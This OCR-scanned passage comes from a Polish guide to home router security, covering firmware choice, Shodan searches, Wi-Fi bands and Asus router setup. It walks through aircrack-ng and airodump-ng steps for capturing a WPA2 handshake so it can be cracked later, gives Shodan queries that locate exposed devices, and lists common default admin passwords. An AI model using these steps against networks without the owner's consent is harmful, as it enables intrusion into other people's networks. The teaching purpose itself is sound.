add action=masquerade chain=srcnat comment="defconf: masquerade"

out-interface-1list=WAN

Oczywiscie do poprawnego dzialania skryptu potrzebna jest tez skonfigurowa-
na sie¢ Wi-Fi oraz dodanie dystrybucji adresu DNS w pulach DHCP, urzadzenia
odbiorcze musza ponadto dopuszczaé ruch z innych podsieci. Ten przykiad
zostal rozbudowany o kilka typowych regul firewall wycinajacych zbedny
ruch oraz o wykorzystanie metody znanej w routerach firmy MikroTik jako
Fasttrack. Poprawia ona wydajnosc sieci, nie wymuszajac ponownej analizy
pakietdw, jesli polaczenie jest w trybie established.

Sam skrypt warto przeanalizowac i zmodyfikowa¢ do wlasnych zastosowan.

Kiedy wybra¢ alternatywne firmware, a kiedy pozostaé
przy oryginalnym oprogramowaniu

ZALECENIA: WYBOOR OPROGRAMOWANIA SPRZETOWEGO

» Zastandw sie, czy warto rozwazy¢ przejscie na inne oprogramowanie i czy znajdziesz
na to czas.

» Upewnij sig, czy Twoj router jest zgodny z obstugiwanymi rozwigzaniami.

» Przeanalizuj, czy alternatywne oprogramowanie pozwala na bezproblemowa prace
w Twojej sieci oraz czy wszystkie uzywane obecnie ustugi beda nadal dziatac.

Uzywanie alternatywnego firmware’u moze mie¢ zaréwno zalety, jak i wady.
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Rozwigzania alternatywne zazwyczaj oferuja wiecej funkcji, takich jak moz-
liwo$¢ optymalizacji i lepszej konfiguracji ustawien sieciowych. Takie opro-
gramowanie czesto pozwala na instalacje dodatkowych moduléw - réwniez
od innych dostawcéw. Problemem jest to, czy bedziemy z tych dodatkowych
udogodnien korzystac. Jesli nie, moze okazac sie, ze nasz router tylko niepo-
trzebnie zwolni, bo oprogramowanie alternatywne okaze sie dla niego zbyt
obciazajace. Dodatkowo nigdy nie wiemy, jakie funkcje beda rozwijane w tego
typu systemach, wiec czasem mozemy doj$¢ do wniosku, Ze sg to zupelnie nie-
potrzebne usprawnienia.

Zdecydowanie mozna jednak liczy¢ na wieksze bezpieczenstwo tak zabez-
pieczonego routera, zwlaszcza jesli dysponujemy starszym urzadzeniem, ktére
nie dostaje aktualizacji od swojego tworcy.

Mimo wszystko nie mozemy oczekiwadé, ze wykryte bledy beda zawsze na-
prawiane natychmiast. Zazwyczaj projekty typu open source realizowane sa
przez pasjonatéw w wolnych chwilach, bez zadnej gwarancji, kiedy i czy co$
zostanie zrealizowane lub poprawione, nawet jesli zostanie im zgloszony blad
lub podatno$¢ na atak. Korzystajac z alternatywnego — darmowego — firmwa-
re’u, czasem z problemami zostajemy sami (co nie oznacza, ze taka sytuacja
nie moze zdarzy¢ sie w przypadku oprogramowania dostarczonego przez pro-
ducenta sprzetu).

Jest jeszcze kilka innych minuséw wymiany firmware’u.

Zaczynajac od najmniej waznego, nalezy wymieni¢ wyglad. Czesto interfej-
sy rozwigzan producenckich sg zwyczajnie tadniejsze, bardziej przemys$lane
i latwiejsze w konfiguracji.

Proces instalacji nie zawsze jest prosty, zazwyczaj wymaga wiedzy i czasu
poswieconego na czytanie samouczkow, a i to nie gwarantuje sukcesu, bo nasze
urzadzenie moze po zakonczonym procesie wcale sie nie uruchomic. Czasem
bedzie to niekompatybilno$¢ z wydanym w jakim$ kraju modelem, a czasem
zwykly pech, jesli np. podczas instalacji zabraknie zasilania.

Sama instalacja oprogramowania alternatywnego czesto tamie postanowie-
nia licencyjne, a co za tym idzie — pozbawia nas gwarancji, jesli nasz router
jest nia objety. Warto o tym pamietaé, zanim zaczniemy robi¢ cokolwiek ze
sprzetem.

Dodatkowo alternatywne oprogramowanie nie zawsze bedzie wspieraé
dany model routera lub nie bedzie wspiera¢ go w pelni. Niestety, jest to nor-
malna wada oprogramowania, ktére nie zostalo stworzone jako dedykowane.

Ostatecznie — warto przemysleé, czy mamy chec i czas na przeprowadzenie
zmiany na alternatywne oprogramowanie firmware. Nie jest to czynnos¢ szyb-
ka niczym instalacja aplikacji w systemie, wymaga wiedzy, nie gwarantuje suk-
cesu i grozi utratg gwarancji na sprzet. Natomiast jesli dysponujemy starszym
urzadzeniem lub w naszym bazowym oprogramowaniu firmware brakuje
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jakich$ waznych funkcji, warto sprébowa¢ zmiany. W najgorszym przypadku
czeka nas wymiana routera na nowszy model, co czasem i tak jest konieczne.

Do czego stuzy Shodan i jak z niego korzystaé

ZALECENIA: OGRANICZENIE WIDOCZNOSCI URZADZEN Z SIECI WAN

» Sprawdz, czy wszystkie urzadzenia potrzebujg by¢ stale podtaczone do sieci; sporo
urzadzen, jak: drukarki, termostaty, nianki elektroniczne i wiele innych, moze dziatac,
korzystajac wytacznie z sieci LAN.

» Zmien dane do logowania do swoich sprzetow - zwtaszcza je$li masz je ustawione na
domysinych danych dostarczonych przez producenta sprzetu.

» Ogranicz prezentowanie na banerze informacyjnym do wymaganego minimum lub
wytacz go catkowicie.

» Sprawdz, czy Twoj firewall jest prawidtowo skonfigurowany i ogranicza nieautoryzo-
wany dostep do Twoich urzadzen w sieci.

Wczedniej w tym rozdziale wspomniana zostala wyszukiwarka Shodan dostep-
na pod adresem http://shodan.io. Warto o niej szerzej opowiedzie¢, jako ze to
bardzo przydatne narzedzie pentestera.

Shodan przypomina wyszukiwarke Google, z malg réznicg — nie szuka stron
w sieci, tylko podlaczonych do niej urzadzen. Szuka¢ mozna, wykorzystujac
adres IP, nazwe urzadzenia, miasto lub wiele innych technicznych kategorii.

W wersji darmowej jako wynik zapytania wyswietlane jest 50 pozycji, ale
w przeszto$ci zdarzaly sie promocje, dzieki ktérym dostep do platnej wersji
serwisu oferowany byl za symboliczng oplata.

Dzialanie serwisu zaczelo sie w 2003 roku, gdy John Matherly napisal skrypt
nieustannie mapujacy sie¢ Internet, przeszukujacy losowe adresy IP i otwarte
na nim porty, a nastepnie stworzy}l wyszukiwarke pozwalajaca na przegladanie
zebranych tam wynikéw. Shodan jednak publiczny stat sie dopiero w 2009 roku.

O ile twdrca nie mial w planach udostepnic tatwego w uzyciu narzedzia dla
hackerdw, to szybko okazalo sie, ze w zebranych danych mozna bez problemu
znalez¢ np. kamery przemystowe lub systemy typu SCADA, ktére nie powinny
by¢ publicznie dostepne. Na pytanie, jak wyszukiwarka pozyskuje tak szero-
kie dane, jedynie odpytujac poszczegdlne porty, jest bardzo prosta odpowiedz
— baner. Wiele z odpytywanych urzadzen zwraca szczegétowe informacje na
ich temat, m.in. takie jak:

» nazwa urzadzenia,

» adresIP,

» port,
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» firma,
» lokacja (miasto, kraj itp.).

Majac spora baze uzytkownikéw gotowych przegladac¢ baze, udato sie odna-
lez¢ dostepne publicznie urzadzenia, takie jak wspomniane wyzej kamery, ale
rowniez:

» routery,

» elektroniczne nianie,

» satelity,

» systemy zarzgadzania woda i sygnalizacja Swietlna,

» elementy elektrowni atomowych.

O ile brzmi to do$¢ szokujaco, to mimo wszystko sa to tylko dane odczytane
z baner6w bez mozliwo$ci wprowadzania zmian w prezentowanych tam
urzadzeniach. Wiele z nich jest prawidlowo zabezpieczonych. Nadal jednak
warto pamietaé, ze Shodan prezentuje zakres publicznie dostepnych danych.
Jesli w naszej sieci wykorzystujemy kamere z dostepem z sieci zewnetrznej
i niezmienionymi domy$lnymi haslami, istnieje duze prawdopodobienstwo,
ze korzystamy z niej nie tylko my, ale takze hackerzy, ktérzy moga obserwo-
wac nasze mieszkanie. Czesto s to tez drzwi bezposrednio do naszej sieci we-
wnetrznej, jesli atakujacy uzyska kontrole nad wspomnianym urzadzeniem,
z powodzeniem moze wykorzystac je do dystrybucji zlosliwego oprogramo-
wania lub postuzy¢ sie innymi podatnos$ciami na wykryte kolejne urzadzenia.

Ostatecznie gléwnym zastosowaniem Shodana jest testowanie zabezpie-
czen firmowych lub akademickich, ale daje réwniez mozliwo$¢ sprawdzenia,
ile z naszych urzadzen domowych dostepnych jest z sieci publicznej. Wyszuki-
warka ma zatem zaréwno zastosowanie biznesowe, jak i czysto hobbystyczne.
Innym ciekawym przykladem, do czego mozna wykorzysta¢ zebrane w ten
sposéb wyniki, sa badania marketingowe, ktére moga dzieki temu prowadzi¢
tworcy sprzetu, sprawdzajac, gdzie trafiaja ich produkty.

Oczywi$cie wyszukiwarka cieszy sie duzym zainteresowaniem wsrod eks-
pertow cyberbezpieczenstwa i profesjonalistéw IT, ktérzy monitoruja wyste-
powanie podatnosci w sieci, np. analizujac, ile z urzadzen podlaczonych do
Internetu korzysta z wersji firmware podatnych na wykryte ataki'2.

Przyktad wykorzystania narzedzia
Przeanalizujmy wyszukiwanie przykladowego hasla, jakim jest cisco.
Zwraca ono ponad 6 milionéw wynikéw (rysunek 30).
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Rysunek 30. Przyktad zapytania cisco za pomoca wyszukiwarki Shodan

Dzieki dodaniu informacji, ze chcemy wyswietli¢ wyniki z Nowego Jorku
(rysunek 31) za pomocg zapytania: cisco city:"New York", ograniczymy wy-
szukanie do ok. 6 tysiecy pozycji.

= AUV CISCO city"NEW YORK" n

TOTAL RESULTS ' .
e, it 40 View Report [0 View on Map

4!970 Partner Spotlight: Looking for a place to store all the Shodan data? Check
out Gravwell
TOP PORTS
22 2360 Error 401 (] 2023-01-19T10:57:13
.
146.112.47.62 HTTP/1.1 481 Unauthorized
80 757 Cisco Server: Cisco Umbrella
OpenDNS LLC
Date: Thu, 19 Jan 2623 18:57:12 GMT
161 383 £ United Content-Type: text/html
States, New ontent-Type: tex "
443 305 York City Content-Length: 1109
Connection: keep-alive
7547 269 ETag: "63c85e3b-455"

Rysunek 31. Wyszukanie za pomocg wyszukiwarki Shodan z uzyciem parametréw
(dostepne po zalogowaniu)

Zachecam Was do samodzielnego sprawdzenia (na podstawie wiedzy zaczerp-
nietej z podrozdzialu o UPnP) wynikéw dla zapytania np.:
cisco port:1900 country:"FR" city:"Paris" org:"Orange S.A.".
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Zakresy dziatania sieci Wi-Fi

ZALECENIA: WYBOR ZAKRESU SIECI Wi-Fi

» Wybierz wigksze pasmo tam, gdzie to mozliwe.

» Uzywaj potaczen kablowych w celu podtaczenia kolejnych punktéw dostepowych
Wi-Fi do oddalonych urzadzen, zamiast korzysta¢ z pasma 2,4 GHz.

Kazda sie¢ bezprzewodowa ma do wyboru zakres czestotliwosci, na jakich be-
dzie mozna sie z nia potaczy¢. Wybdr ten nie jest zbyt szeroki, bo mamy tu
do dyspozycji dwie lub trzy mozliwosci: 2,4 GHz, 5 GHz i od niedawna 6 GHz
— dostepna w specyfikacji Wi-Fi 6E33.

Wiekszo$¢ obecnie dostepnych routeréw z Wi-Fi oferuje tryb mieszany,
pozwalajacy na inteligentny wybér odpowiedniego pasma 2,4 GHz lub 5 GHz
—w zaleznosci od mozliwos$ci polaczenia samego taczacego sie urzadzenia.

Roéznice, jakie sg pomiedzy nimi, beda zauwazalne gltéwnie z powodu ofe-
rowanej przepustowosci oraz stabilnosci potaczenia. Wyboér wyzszych pasm,
(5 GHz) lub, je$li mozemy, 6 GHz, zagwarantuje nam zdecydowanie wyzsze
transfery, ktdre, przy tej wyzszej opcji, poréwnywalne sg z uzyciem lacza ka-
blowego o przepustowosci 1 Gbps. Nawiazane polaczenie bedzie tez znacznie
latwiej utrzymad, gdyz pasmo bedzie szersze, a co za tym idzie — wiecej sprze-
tow bedzie mogto nawiazac polgczenie z siecia Wi-Fi, nie wplywajac wzajem-
nie na komunikacje i generujac mniej zaklécen.

Wyzsze czestotliwosci maja jednak pewna istotna wade. Wraz z ich wzro-
stem komunikacja staje sie trudniejsza. Pokonywanie réznych osrodkdéw, jaki-
mi sg $ciany, moze stac sie niemozliwe juz przy wyborze pasma 5 GHz. Jesli mu-
simy za pomoca Wi-Fi polaczy¢ ze soba kilka oddalonych od routera urzadzen,
konieczne moze stac sie polgczenie w wolniejszym, ale oferujacym wiekszy
zasieg pasmie 2,4 GHz.

Warto jednak tego unikac i sprobowac¢ wykorzystac inne rozwigzania, jak
polaczenia z wykorzystaniem kabli Ethernet, budowanie polaczen opartych
na siatkach (ang. mesh) — nawet za pomoca polaczenia kablowego. Dzieki temu
mozemy dystrybuowa¢ Wi-Fi w wyzszych pasmach. Ma to réwniez wplyw na
bezpieczenstwo — wybierajgc pasmo o mniejszym zasiegu, utrudniamy prze-
prowadzanie potencjalnych atakéw.

Przyktad podatnosci

W tym miejscu zostanie przedstawione wykorzystanie powszechnie dostep-
nego narzedzia do przechwytywania handshake’u w sieci Wi-Fi. Procedure te
znacznie utrudnia brak dostepu do sieci - wymaga odpowiednio mocnego sy-
gnalu. Warto podkresli¢, Ze jest to jednoznaczne z atakiem, dlatego testy tego


https://www.telepolis.pl/tech/poradniki/wi-fi-6e-co-to-jest-jaki-router-6-ghz-do-bloku
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typu powinny by¢ przeprowadzane wylacznie na urzadzeniach przeznaczo-
nych do celéw testowych lub za wyrazna zgoda wiasciciela na przeprowadze-
nie testow penetracyjnych. Nalezy zauwazy¢, ze cho¢ przedstawione zostalo
narzedzie zdolne do tamania hasel, sam atak nie bedzie tu zaprezentowany.

Ten atak wymaga wczes$niejszego przygotowania, posiadania Kali Linu-
xa, a takze odpowiedniej karty Wi-Fi, oferujacej prace w trybie Monitor. Tych
z Was, ktérzy chca zglebi¢ wiedze na ten temat, odsytam do listy odpowiednich
urzadzent,

Narzedziem, ktérego bedziemy potrzebowadg, jest Aircrack-ng, dostepny
w repozytorium debianowym. Do jego zainstalowania stuzy ponizsza komenda:

sudo apt-get install aircrack-ng

Zaczynamy od wyszukania dostepnych interfejséw sieciowych komen-
da airmon-ng, przy czym zalozymy, ze wynik zwrdcony to wlan®@. Nastepnie
wybrang karte sieciowa przelaczymy w tryb Monitor za pomoca komendy
airmon-ng start wlan@.Jedli w tym momencie sprawdzimy narzedziem ipcon-
fig, jakie mamy interfejsy, pojawi nam sie co$ podobnego do mon@ lub wlan@mon.

Nastepnie zaczynamy stuchaé ramek typu Beacon'®> komendg airdoump-ng
mono.

Przykladowy wynik wyszukiwania to:
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:CO -81 190 © 3 54e WPA2 CCMP PSK hackme

Do dalszych testéw potrzebny nam bedzie adres MAC BSSID oraz kanat (CH).
Zajmiemy sie teraz przechwytywaniem 4-Way Handshake!*, ktéry wykonuje
sie zawsze, gdy w sieci Wi-Fi pojawi sie nowe urzadzenie.

airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:CO -w . mon®@

Wynikiem tego bedzie np.:

CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]

BSSID PWR RXQ Beacons #Data,#/s CH MB ENC CIPHER AUTH ESSID

9C:5C:8E:C9:AB:CO -47 0 140 © 0 6 54e WPA2 CCMP PSK ASUS
W tym miejscu nalezy zaczeka¢, az u gory pojawi sie komunikat, np. [WPA
handshake: bc:d3:c9:ef:d2:67]. Gdy juz zlapiemy pakiet 4-Way Handshake,
zamykamy aplikacje ctrl-c. W miejscu, w ktérym uruchomiliSmy airodump-
ng, znajdziemy plik z rozszerzeniem . cap. Zawarty w nim bedzie hash uzywa-
nego w sieci Wi-Fi hasta, ktéry w dalszej kolejno$ci mozna prébowac tamac za
pomoca innych narzedzi, jak naive-hashcat®.
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Inne aspekty zwigzane z bezpieczenstwem

DODATKOWE WSKAZOWKI DOTYCZACE BEZPIECZENSTWA

» Uzywaj najlepszego dostepnego szyfrowania.
» Aktualizuj swoje urzadzenia sieciowe.

» Czytaj komunikaty branzowe dotyczace bezpieczenstwa IT (jesli chcesz wiedzie¢ wigcej).

Pewnie zabrzmi to do$¢ banalnie, ale bezpieczenstwo to niekoniczacy sie wy-
$cig miedzy atakujacymi i producentami sprzetu oraz oprogramowania. To, co
wystarczalo do zapewnienia bezpieczenstwa wczoraj, dzi$ juz moze okazac sie
nieskuteczne.

Bledy implementacyjne lub wynikajace z lenistwa zdarzaja sie co pewien
czas nawet duzym producentom sprzetu, kierujacym swoje produkty do klien-
tow biznesowych, wiec trzeba spodziewac sie, ze podobnie —albo i gorzej —jest
ze sprzetem domowym. Czasem warto wiec $ledzi¢ informacje o nowych meto-
dachiatakach, ktére zaczynaja dominowac w sieci, zeby, jak méwi przystowie,
nie obudzi¢ sie ,,za pie¢ dwunasta”, zwlaszcza jesdli chcemy na dobre zaintere-
sowac sie tematyka cyberbezpieczenstwa.

Na przyklad uzywane dzi§ metody AES-256 lub RSA sa wystarczajace dla
wiekszo$ci zastosowan, ale rozwdéj komputeréw kwantowych moze, chociaz
wecale nie musi, mocno zrewidowac to, co postrzegamy dzi$ jako bezpieczne.
Jedli tak bedzie, moze nas w najblizszych latach czeka¢ masowa wymiana
urzadzen sieciowych na oferujace inne rozwiazania niz dotychczas uzywane
algorytmy?*,

Jesli podczas konfiguracji sprzetu natrafimy na trudnosci lub btedy, nie boj-
my sie szuka¢ pomocy. Internet to kopalnia wiedzy i jesli natrafiliSmy na blad,
to jest duza szansa, ze inni tez. Warto jednak mie¢ na uwadze to, Ze nie wszyst-
kie porady sa poprawne, a w skrajnych przypadkach moga by¢ niebezpieczne.

Gdy przy pracy pojawia sie nieprzewidziane komunikaty, dziwne zachowa-
nie lub problemy z zapisywaniem zmian w panelu routera, najpierw trzeba
wyczysci¢ cache przegladarki, skorzystac z innej lub z innego komputera. Ko-
lejny krok — to oczywis$cie kontakt poprzez fora producentéw oraz komunikacje
e-mailowg z dzialem wsparcia — zazwyczaj przewidziano na taka komunika-
cje odpowiednie formularze lub wskazana jest inna droga zadawania pytan.
Ostatecznie, je$li to nie pomoze, zadajmy pytanie wyszukiwarce albo wprost
zapytajmy na forach branzowych.

Jesli widzimy matlo profesjonalne podejscie po stronie producenta i brak in-
formacji, co zrobi¢ z napotkanym bledem, mozna skorzystac z prawa gwarancji
lub zwrdcic¢ sprzet, gdy mamy takg mozliwosc.


https://spidersweb.pl/2022/05/komputer-kwantowy-szyfrowanie-kryptografia.html
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KONFIGURACJA ROUTERA

Jako przyklad konfiguracji uzyty zostal router marki Asus RT-AX-55. Jest to
w zasadzie bez znaczenia, gdyz wszyscy producenci tego typu sprzetu oferuja
podobne rozmieszczenie funkcjonalnosci. Delikatng odmiang beda urzadzenia
marki MikroTik, w ktorych interfejs uzytkownika na pierwszy rzut oka bedzie
do$¢ nieintuicyjny, a jego konfiguracja jest troche bardziej wymagajaca.

Rozpoczecie konfiguraciji

W tym miejscu przedstawione zostang pierwsze czynnosci do wykonania
przy nowym routerze, ktéry chcemy podlaczy¢ do sieci.

Pierwsze kroki konfiguracyjne - wersja dla routerow przewodowych

Pierwsza rzecza, ktéra nalezy wykona¢ po rozpakowaniu nowego urzadze-
nia i po uruchomieniu go, jest fizyczne podlaczenie go kablem (z reguly w stan-
dardzie UTP 5e lub 6 z wtyczka RJ-45) np. do komputera, koniecznie do portu
oznaczonego jako LAN. Robimy to, podlaczajac router krétkim kablem znaj-
dujacym sie zazwyczaj w zestawie. Jesli sprzet nie oferuje mozliwos$ci wpiecia
kabla LAN, to czesto nowe routery Wi-Fi wystawiaja bazowa sie¢, do ktdrej
mozna podigczy¢ sie z domys$lnym hastem lub bez niego.

Zazwyczaj host, czyli komputer, musi mie¢ ustawiony tryb pracy automa-
tycznego przydziatu adresu IP (dla przypomnienia: DHCP), dzieki czemu router
bedzie w stanie nada¢ mu adres w predefiniowanej sieci. Jesli jest inaczej, znaj-
dziemy na ten temat adnotacje i nalezy recznie ustawic adres z podsieci znale-
zionej w instrukcji lub na naklejce na urzadzeniu.

W systemie Windows adres IP ustawimy recznie, korzystajac z polecenia
wpisanego w MENU START: ncpa.cpl. Uruchomi sie panel zarzadzania polacze-
niami sieciowymi. Dalej nalezy ustawi¢ wskazana podsie¢ wedlug szablonu,
wybierajac odpowiednig karte sieciowa. Naciskamy na niej prawy przycisk
myszy i wybieramy opcje wrASciwosScI (rysunek 32).

UWAGA W przypadku checi uzycia ww. polecenia z linii polecen systemu Windows nalezy je wywo-
tac, bedac w katalogu C:\Windows\system32.

Adres IP lub nazwe hosta, ktéry nalezy uruchomic¢ jako poczatkowy, oraz uzyt-
kownika i hasto zawsze mozna znalez¢ w instrukcji. Bardzo czesto sa to adresy
takie jak http://192.168.0.1 lub http://192.168.100.1. Typowym uzytkownikiem
sprzetu domowego jest admin z hastem admin lub password (rysunek 33) i w za-
sadzie takie dane mozna probowac za pierwszym razem wpisywac w ciemno.
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L" Ethernet 2 Wiasciwosci: Protokdt internetowy w wersji 4 (TCP/IPv4) >
A
i

S Dell GinabitFthernet Ogélne

W Wiasciwosci: Ethemet 2 X Przy odpowiedniej konfiguradji sied mozesz automatycznie uzyskad
niezbedne ustawienia protokatu IP. W przeciwnym wypadku musisz
Sie¢  Udostepnianie uzyskad ustawienia protokofu [P od administratora sied.

Polacz, uzywajac: (C)Uzyskaj adres IP automatycznie
I? Dell Gigabit Ethemet (®) Uzyj nast=pujacego adresu IP:

Adres IP: 192 .168. 0 . &5
Korffiguny...
To polgczenie wykorzystuje nastgpujgce skiadniki: Maska podsieci:

?Niem sieci Microsoft Networks - Brama domysina: l:l

’E: Udostepnianie plikéw i drukarek w sieciach fimy Micro:
’?\d’lnualBox NDI56 Bridged Networking Driver Uzyskaj adres serwera DNS automatycznie
B Npcap Packet Driver (NPCAP)
’1? Hamonogram pakietéw QoS

v g Protokol mtemetowy w wers) 4 {ILF/IPva) Preferowany serwer DNS: I:I

LI g Protokél muttipleksera karty sieciows; firmy Microsoft

(®) Uzyj nastepujacych adreséw serwerdw DNS:

Alternatywny serwer DNS:

< >
Zainstaly.. Odinstalyj Wiasciwosci O Sprawdz przy zakoriczeniu poprawnosd
ustawiers Zagwansowane. ..
Opis
Transmission Control Protocol/Intemet Protocol. Domyslny
protokdt dla sieci rozleghych umozliwiajgcy komunikacje Anuluj

polaczonych sieci réznych typdw.

QK Anuluj

Rysunek 32. Wywotanie ustawien kart sieciowych przy uzyciu polecenia ncpa.cpl w MENU
START i dalsze kroki potrzebne do ustawienia statycznego adresu IP w sieci LAN

192.168.50.1/Main_Log

U« Zaloguj Sie
RT-AX55

Zaloguj si¢ na konto swojego routera ASUS

admin

Zaloguj Sie

Rysunek 33. Panel logowania do routera (sprzet marki Asus)

Skoro sie¢ byla jedynie wstepnie ustawiona, dopasujmy te ustawienia wedlug
wlasnych upodoban. Zmienmy tez adres IP routera z domyslnego na inny (ry-
sunek 34), dzieki temu kazdy potencjalny atakujacy bedzie musiat poswieci¢
troche wiecej czasu na analize sieci.

Po wstepnej konfiguracji urzadzenia podlgczamy sie do Internetu za pomo-
ca tacza, dostarczonego przez wybranego wczesniej dostawce, za posrednic-
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twem miedzianego przewodu z koricéwka RJ-45 (przesylajacego komunikacje
z sieci WAN) lub $wiatlowodu. Mozemy tez zdecydowad, jakie dane router be-
dzie oferowal urzadzeniom klienckim, ktére skorzystaja z proponowanej przez
niego adresacji DHCP (rysunek 35). Do wyboru mamy zakres adreséw, brame
oraz serwer DNS. DomysInie router bedzie pamietal przypisane do adreséw IP
urzadzenia przez dobe.

Pierwsze kroki konfiguracyjne - wersja dla modeméw LTE

W wiekszosci routeréw, bazujacych na sieci mobilnej, jedyny spos6b na
podlaczenie sie do nich to udostepniona sie¢ Wi-Fi. Zapoznajmy sie zatem
z instrukcja w poszukiwaniu informacji o tym, jakiej sieci Wi-Fi powinni$my
oczekiwa¢ w naszym otoczeniu. Czasem bedzie to nazwa samego routera,
a czasem przypadkowe cyfry i litery wyciete z numeru seryjnego urzadzenia.

Podlaczenie do konfiguracji dostepne bedzie po zalogowaniu do sieci, co
moze, ale nie musi, wymagac¢ hasla, ktére rdwniez, jesli bedzie wymagane,
zostanie naklejone na urzadzeniu lub bedzie czym$ réwnie oczywistym, jak
wspomniany numer seryjny.

Adresu, pod ktérym router bedzie dostepny, rowniez nalezy szukac
w instrukcji. W wiekszoS$ci przypadkéw beda to adresy przypominajace
http://192.168.1.1 1ub http://192.168.100.1. W adresie nie bedzie protokolu
HTTPS; jesli jest wlaczony — nasz router zazwyczaj sam przekieruje ruch na
odpowiedni tryb komunikacji.

Samo logowanie do panelu nie bedzie réznic¢ sie od tego opisanego dla
routera ze standardowym }aczem kablowym lub swiattowodowym.

Tryby pracy routera

Te opcje konfigurujemy na poczatku - jesli nie ma informacji od dostaw-
cy Internetu, zeby zrobi¢ inaczej, zazwyczaj ustawiamy router w trybie pracy
(rysunek 36) TRYB ROUTERA BEZPRZEWODOWEGO lub po prostu ROUTER. Tryb BRIDGE
(most) moze by¢ potrzebny, jesli chcemy skonfigurowac¢ dwa routery w topolo-
gii jeden za drugim, ale zazwyczaj zadba o to dostawca Internetu lub zrobi to
za nas na swoim urzadzeniu.

W przypadku konfiguracji urzadzen w trybie MesH, gdy budujemy sie¢, opie-
rajac sie na kilku urzadzeniach, np. w duzym, kilkupietrowym domu, jedno
z urzadzen powinno by¢ dodatkowo ustawione jako nadawcze, a inne urza-
dzenia - jako odbiorcze w dedykowanej sieci posredniczacej w komunikacji
pomiedzy nimi. Moze to by¢ zar6wno Wi-Fi, jak i sie¢ przewodowa. Jesli zde-
cydujemy sie na wykorzystanie sieci bezprzewodowej, pamietajmy o jej odpo-
wiednim zabezpieczeniu.

87



Adam Samson  //  Bezpieczenstwo domowego routera Wi-Fi

Quick Internet
\ Setup

0gédlne
Mapa sieci
E&i AiMesh
@6} Siec goscinna
ra] AiProtection

A @ kontrola
'-(E! rodzicielska

@ Adaptacyjny QoS

Ustawienia Zaawansowane

E‘\ Wireless

+ Amazon Alexa

Tryb operacji: Tryb routera bezprzewodowego Wersja firmware: 3.0.0.4.386_45934
SSID: zoo

Route IPTV  Sterowanie przetacznikiem

LAN - Serwer DHCP

DHCP (Dynamic Host Configuration Protocol [Dynamiczny protokét konfiguracii hosta]) to protokét do automatycznej konfiguraci,
wykorzystywany w sieciach IP. Serwer DHCP moze przydzielic kazdemu ki i adres IP i poinft ¢ klienta serwera DNS
o numerze IP i o IP domyslinej bramy. RT-AX55 obstuguje do 253 kemputerow w sieci lokalnej.

Recznie przydzielone adresy IP poza DHCP FAQ

Konfiguracja podstawowa
Uruchomic serwer DHCP - ® Nie

Nazwa domenowa RT-AX55

Startowy adres IP puli serwera DHCP 192.168.50.2

Koricowy adres IP puli serwera DHCP 192.168.50.254

Czas dzierZawy 86400

Brama domysina

Ustawienia serwera DNS oraz WINS.

Adres IP serwera DNS

Serwer WINS

Rysunek 34. Widok konfiguracji serwera DHCP oferowanego przez

0gdlne

é.% Mapa siect

Eﬁ{ AiMesh

é{?} Siec goscinna
ra] AiProtection

kontrola
#2D rodzicielska

@ Adaptacyjny QoS

Ustawienia Zaawansowane

@ Wireless

mLAN

Serwer DHCP Route IPTV Sterowanie przelacznikiem

LAN-LANIP
Konfiguracja ustawienia sieci LAN RT-AX55.
Nazwa hosta RT-AX55-5E50

Nazwa domenowa RT-AX55

Adres [P 192.168.50.1

Maska podsieci 255.255.255.0

Zastosuj

Rysunek 35. Widok ustawieri adresu IP routera
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System  Upgrade Firmware ~ Odtworzenie  Informacja zwrotna  Prywatnosé

Qgdlne

@‘Q) Mapa sieci Administracja - Tryb operaciji

RT-AX55 obstuguje kilka tryby pracy. Wybierz pozadany przez Ciebie tryb:

@ Tryb punktu dostepu (AP) / Router AiMesh w trybie AP
[g) Aiprotection ® Tryb powtarzacza
® Media Bridge
B e a ® Wezel AiMesh

@) Siet goscinna

@ Adaptacyjny QoS Tryb routera AiMesh to siandardowy iryb z obstuga systemu AiMesh, w kiorym mozna taczy sie z Intemelem za pg
oF, DHCP, PPTP, L2TP lub statycznego adresu IP. Router udostgpnia nastepnie sieé bezprzewodowa kiientom lub
i LAN. W trybie tym domy$inie wiaczone sa NAT, zapora i serwery DHCP. W przypadku uzytkownikow SOHO oraz]
mowych obslugiwane 53 UPnP i Dynamic DNS (Dynamiczny DNS). Wybierz ten tryb podczas pierwszego uzycia luf
l'_:'\) Wireless nie uZywane Zadne routery przewodowe/bezprzewodowe.

mLAN

Ustawienia Zaawansowane
Mozesz dodac wezly AiMesh w celu utworzenia systemu WiFi AiMesh i zwigkszenia zasiegu sieci WiFi.
A Al s B ) ))
mazon Alexa — - r |
@ IPVG

VPN

Zapisz

mH Firewall

% Administracja

Rysunek 36. Widok wyboru trybu pracy routera

Prawidlowe polaczenie powinno pozwoli¢ na zobaczenie kilku adreséw IP, ta-
kich jak adres w sieci dostawcy lub adres publiczny (rysunek 37).

0Ogdlne

DDNS: GO

Rysunek 37. Widok statusu sieci WAN

Konfiguracja DNS

Jesli dostajemy juz pewien adres, istnieje duze prawdopodobienstwo, ze
zapytania zostang od razu obstuzone przez serwer DNS dostawcy Internetu.
Jedyne, co mozna w tym miejscu zmienic, to ustawic adres serwera DNS (rysu-
nek 38), jaki otrzymaja hosty w sieci po polaczeniu za pomocg DHCP.

Niestety, czesto serwery dostawcy Internetu sa serwerami ustug, ktérym
nie powinno sie ufa¢, bo moga analizowac nasz ruch, wiec jesli mozna, skorzy-
stajmy z opisanych wcze$niej serweréw, do ktérych polaczymy sie za pomoca
trybu szyfrowanego (rysunek 39).
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Route  IPTV Sterowanie przefgcznikiem
QOgdlne

&) mapa sieci LAN - Serwer DHCP

AiMesh DHCP (Dynamic Host Configuration Protocol [Dynamiczny protokét konfiguracii hosta]) to protokét do automatycznej kd
wykorzystywany w sieciach IP. Serwer DHCP moze przydzieli¢ kazdemu klientowi adres IP i poinformowac Klienta se
- o numerze IP i o IP domysinej bramy. RT-AX55 obstuguje do 253 komputerow w sieci lokalnej.
SieC goscinna
Recznie przydzielone adresy IP poza DHCP FAQ

@ AiProtection Konfiguracja podstawowsa
rEELE Uruchomic serwer DHCP O Tak ® Nie
rodzicielska
Nazwa domenowa RT-AX55
@ Adaptacyiny QoS
Starfowy adres IP puli serwera DHCP 192.168.50.2
Ustawienia Zaawansowane Koricowy adres IP puli serwera DHCP 192.168.50.254
